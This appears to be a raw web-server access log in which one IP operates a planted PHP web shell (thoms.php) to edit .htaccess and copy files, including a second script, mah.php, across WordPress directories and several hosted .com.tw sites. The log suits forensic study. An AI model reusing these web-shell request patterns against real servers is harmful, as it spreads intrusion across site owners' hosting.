45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?edit=.htaccess&p=bestzyx.com.tw HTTP/1.1" 200 12480 "http://163.245.207.76:443/thoms.php?edit=.htaccess&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?edit=.htaccess&env=ace&p=bestzyx.com.tw HTTP/1.1" 200 16087 "http://163.245.207.76:443/thoms.php?edit=.htaccess&env=ace&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:49 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20673 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p= HTTP/1.1" 200 12226 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11330 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20672 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21797 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Ferror_log&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20813 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20812 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:50 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21879 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11344 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11348 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11351 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p= HTTP/1.1" 200 12270 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11391 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Freadme.html&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p= HTTP/1.1" 200 12282 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20814 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:51 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11399 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11322 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21003 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /bestzyx.com.tw/wp-includes/?ND= HTTP/1.1" 200 9282 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /bestzyx.com.tw/wp-includes/?MA= HTTP/1.1" 200 9283 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21827 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-comments-post.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /bestzyx.com.tw/wp-includes/?SA= HTTP/1.1" 200 9283 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fcgi-bin HTTP/1.1" 200 11346 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 200 11446 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 20980 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&finish=1&p=bestzyx.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:52 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 21157 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&finish=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p= HTTP/1.1" 200 12263 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2F.well-known HTTP/1.1" 200 11393 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?p= HTTP/1.1" 200 21792 "https://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fupgrade HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fwp-admin HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fmah.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=booking-wise2.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=cgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=beauty-dental.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=broadweb.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=betcity.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:20:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bogroup.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-content&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
